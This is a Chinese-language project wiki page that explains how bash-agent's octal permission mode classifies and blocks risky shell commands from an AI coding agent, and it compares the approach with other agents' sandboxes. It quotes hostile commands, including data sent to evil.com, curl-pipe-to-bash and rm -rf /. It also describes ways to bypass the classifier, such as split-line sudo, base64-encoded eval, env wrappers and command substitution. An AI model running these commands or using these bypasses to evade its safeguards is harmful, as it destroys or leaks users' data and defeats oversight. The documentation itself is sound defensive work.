-
Notifications
You must be signed in to change notification settings - Fork 5
Bash Tool Permission Mode (v2)
本文深入介绍 bash-agent 的 Bash 工具权限模型的设计理念、实现细节、安全演进历史,并与主流 AI Coding Agent 的安全方案进行对标分析。
AI Coding Agent 的 Bash 工具是权限最大的工具——它可以执行任意 shell 命令。如果没有权限控制,一次 prompt injection 就可能导致:
- 删除重要文件(
rm -rf /) - 数据外泄(
curl https://evil.com -d @/etc/passwd) - 提权攻击(
sudo) - 恶意软件安装(
curl ... | bash)
行业里已经发生过多次真实事故:Replit 的 AI agent 删除了生产数据库;Google Gemini CLI 在"移动文件"时覆盖了所有数据。这些事故的根因都是:agent 拥有它不该有的权限。
bash-agent 使用一个 4 位八进制数 表示权限策略,每位对应一个 scope,每位内的 3 bit 对应 read/write/execute:
BASH_AGENT_BASH_MODE = 0 4 6 7
| | | |
| | | `- workspace: 当前项目目录内
| | `--- network: 网络访问 (curl/wget/git)
| `----- external: 工作区外的文件路径
`------- system: 系统路径 + 特权命令
每位是一个 3-bit rwx 掩码(与 Linux 文件权限相同的思维模型):
| 八进制 | 二进制 | 含义 |
|---|---|---|
0 |
000 |
无权限 |
4 |
100 |
只读 |
6 |
110 |
读 + 写 |
7 |
111 |
读 + 写 + 执行 |
默认值 0467:
system=0 无权限 — /etc /usr 等系统路径完全封锁
external=4 只读 — 可以读取 ~/ 外部文件,不可写入
network=6 读 + 写 — 可以 curl/wget 读取,也可以 git push
workspace=7 读 + 写 + 执行 — 项目目录内完全自由
| Scope | 包含什么 | 为什么单独一位 |
|---|---|---|
| system |
/etc /usr /bin /sbin /var /dev /System / /*;sudo/su/doas
|
系统级操作风险最高,应可独立封锁 |
| external |
~/ 家目录下非工作区文件;../ 路径穿越;~/.ssh ~/.aws 等敏感路径 |
工作区外的用户文件,与工作区内的代码分离 |
| network |
curl wget git clone/fetch/push scp ssh;/dev/tcp;| bash 管道执行 |
网络操作可导致数据外泄或恶意代码执行 |
| workspace | 当前项目目录($PWD)内的所有文件和命令 |
开发者最常用的操作,应最宽松 |
关键洞察:大多数开发者日常只需要 workspace 权限。默认 0467 正好实现了"workspace 全开、其他最小权限"的原则。
运行时对每条 Bash 命令执行静态分析,推导出 required mode:
用户命令 → [分类器] → required=0040 → [与 allowed 比较] → 允许/阻止
分类器是一个保守的轻量扫描器,不是完整的 Bash AST 解析器。处理流程:
1. 转小写(消除大小写差异)
2. 按换行符/&&/||/; 分割为 segments
3. 对每个 segment:
a. 命令模式匹配(sudo/curl/git/rm ...)
b. 逐 token 路径分析(/etc → system,~/ → external ...)
c. 重定向检测(> file → write)
4. 合并所有 segment 的 mask
5. mask=0 时默认 workspace read
分类示例:
cat README.md → workspace read (0004)
cat /etc/hosts → system read (4000)
curl https://example.com → network read (0040)
curl https://x/install.sh | bash → network read + execute (0050)
echo hi > ~/note.txt → external write (0200)
rm -rf /* → system read + write (6000)
# 数学等价:(required & ~allowed) == 0 则允许
(( 8#$required & (4095 ^ 8#$allowed) == 0 ))直觉理解:required 的每个权限位都必须在 allowed 中有对应位。
阻止时统一报错:
Error: command blocked by bash safety policy (required=4000 allowed=0467; mode=system/external/network/workspace bits=4:read,2:write,1:execute)
问题:tool_bash_add_path() 没有 CWD 概念,/Users/.../src/agent.sh 这样的 workspace 绝对路径被 EXTERNAL_PATH 正则误判为 external。
修复:分类器从 $PWD 初始化 CWD(转小写),路径匹配优先检查 CWD 前缀。
发现了三个安全漏洞并修复:
漏洞 1:根目录 / 和 /* 不归类为 system
/ 不匹配任何路径正则(/etc 需要 /etc 前缀,/[A-Za-z0-9._-] 需要字母后缀),被误归类为 workspace。
rm -rf /* → 修复前: workspace rw (可执行)
修复后: system rw (被阻止)
漏洞 2:RE_ROOT_DELETE 正则不匹配 /*
rm -rf /* 中 / 后跟 *(glob),不匹配原有的 /([[:space:]]|$) 末尾模式。
漏洞 3:sudo 换行绕过
sudo
rm -rf /etcsudo 单独一行不匹配 sudo * 模式(需要 sudo 后跟空格+内容)。
修复方案:
-
tool_bash_add_path中/和/*→ system scope -
RE_ROOT_DELETE正则末尾增加|[*] - case 模式增加
sudo(无参数)匹配
| 方案 | 代表产品 | 核心机制 | 隔离层级 | 用户干预 |
|---|---|---|---|---|
| 容器隔离 | OpenHands, Devin | Docker 容器完全隔离 | OS 级 | 无需(容器内自由) |
| VM 隔离 | GitHub Copilot Workspace | 云端虚拟机 | OS 级 | 无需(VM 内自由) |
| 系统沙箱 | Cursor (macOS) | sandbox-exec / seatbelt | 内核级 | 部分操作需确认 |
| Allow/Deny List | Claude Code | 预批准命令模式 | 应用级 | 每次新命令需确认 |
| Scope×Permission | bash-agent | 4 scope × rwx 自动分类 | 应用级 | 无需确认 |
| 无控制 | Aider (早期) | — | — | 每次操作都需确认 |
Claude Code 使用确认制 + allowlist:
- 默认所有 Bash 命令需要用户 y/n 确认
- 用户可以预批准特定命令模式(如
Bash(npm test:*)) - 有
--allowedTools和permission mode配置 -
.claude/settings.json中可以定义allow/deny规则
优势:精细到每个命令模式,用户完全控制 劣势:交互成本高,自动化流程被打断;allowlist 可能过于宽松
Cursor 在 macOS 上使用 sandbox-exec(seatbelt)做系统级沙箱:
- 限制文件系统写入范围(只有项目目录可写)
- 限制网络访问(可配置允许的域名)
- Agent 模式下部分操作仍需确认
优势:内核级强制,难以绕过 劣势:平台依赖(macOS 特有);配置复杂;Linux/Windows 支持不一致
完全在 Docker 容器或云端 VM 中运行:
- 容器内 agent 有完整 root 权限
- 通过 volume mount 控制可访问的宿主目录
- 通过网络策略控制出站连接
优势:最强隔离,即使被攻破也不影响宿主 劣势:资源开销大;启动慢;不适合本地轻量开发
重量级 ←————————————————————→ 轻量级
VM/容器 系统沙箱 Allow/Deny bash-agent
OpenHands Cursor Claude Code Scope×Permission
bash-agent 的独特之处:
| 特性 | 说明 |
|---|---|
| 零依赖 | 纯 bash/awk 实现,不需要 Docker/sandbox-exec/VM |
| 自动分类 | 分类器自动判断权限,用户无需逐条确认 |
| 跨平台 | macOS/Linux 通用,不依赖平台特性 |
| 可预测 | 分类规则完全公开,用户可以精确预测命令是否被允许 |
| 跨语言一致 | Bash/C/Go/Rust 四个运行时共享同一分类逻辑和结果 |
| 可调节 | 一个环境变量 BASH_AGENT_BASH_MODE 调节全局策略 |
权衡:bash-agent 的应用级分类器不如内核沙箱(Cursor)或容器隔离(OpenHands)强,但胜在零依赖、跨平台、无交互成本。适合可信环境下的开发者自助使用(开发者自己的机器、CI/CD),不适合不信任的代码执行场景。
分类器是保守的静态分析,不是完整的 shell 解析器。以下是设计层面的限制:
# base64 编码的命令 — 分类器看不到实际内容
eval $(echo cm0gLXJmIC8= | base64 -d)
# 变量展开 — 分类器不知道 $CMD 的值
$CMD --dangerous-flag# env/nohup/timeout 包装特权命令
env sudo echo hi # "env" 在行首,sudo 不被检测
nohup sudo rm -rf /etc # 同理# 反引号中的路径不被单独分析
cat `/etc/passwd` # `/etc/passwd` 不是独立 token
# $() 中的命令不递归
echo $(cat /etc/shadow)这些限制是设计与成本之间的有意权衡:
- 完整的 Bash 解析器(如 shellcheck)体积庞大,不适合纯 bash/awk 实现
- 四语言一致性要求使得复杂逻辑的同步成本极高
- 分类器的设计目标是覆盖 95% 的常见场景,对极端构造保持"够用"
- 对于不信任的代码,推荐使用容器/VM 级隔离(而非依赖应用层分类器)
# 默认:日常开发(workspace 全开,系统封锁,网络读写)
export BASH_AGENT_BASH_MODE=0467
# 只读审计:不允许任何写入
export BASH_AGENT_BASH_MODE=0444
# 开放系统读取(需要读 /etc /var 等排查问题)
export BASH_AGENT_BASH_MODE=4467
## 完全信任环境(慎用)
export BASH_AGENT_BASH_MODE=7777
# 完全封锁 Bash 工具
export BASH_AGENT_BASH_MODE=0000实践建议:
- 保持
0467作为日常默认 - 仅在需要时临时扩大权限(如
BASH_AGENT_BASH_MODE=4467 agent.sh "检查 /etc/hosts") - 不要在 shell profile(
.bashrc/.zshrc)中设置高权限值 - 处理不信任的代码仓库时,使用 Docker 或 VM 隔离
bash-agent 的 Bash/C/Go/Rust 四个运行时共享同一套分类逻辑和分类结果。这意味着同一条命令在四个版本中产生相同的 required mode。
一致性验证通过单元测试保证:
-
Bash:
tests/test.shTest 51(172+ 用例) -
C:
c/test_classify.c(28 用例) -
Go:
go/agent_test.goTestToolClassifyBashRequiredMode(12 用例) -
Rust:
rust/src/tools.rsbash_mode_classifier(3 组测试)
四版本共享相同的:
- 正则表达式(ROOT_DELETE / SYSTEM_PATH / SENSITIVE_PATH / EXTERNAL_PATH / DEVICE_WRITE)
- scope 映射逻辑
- segment 分割规则(按
\n/&&/||/;) - token 遍历和路径分析
- mask 合并和最终格式化
bash-agent 的 Bash 工具权限模型在轻量性和精细度之间找到了一个独特的平衡点。它不追求内核级强隔离(那是容器/沙箱的领域),而是通过应用层的自动分类,让开发者在不改变工作流的前提下获得基本的安全保障。
与 Claude Code 的 allow/deny list 相比,它减少了交互成本;与 Cursor 的 sandbox 相比,它跨平台且零依赖;与容器方案相比,它轻量且即时。
安全是持续演进的过程——v4.2.5 修复了 CWD 误判,v4.2.6 修复了根目录绕过。未来版本将继续在保持轻量的前提下收紧分类器。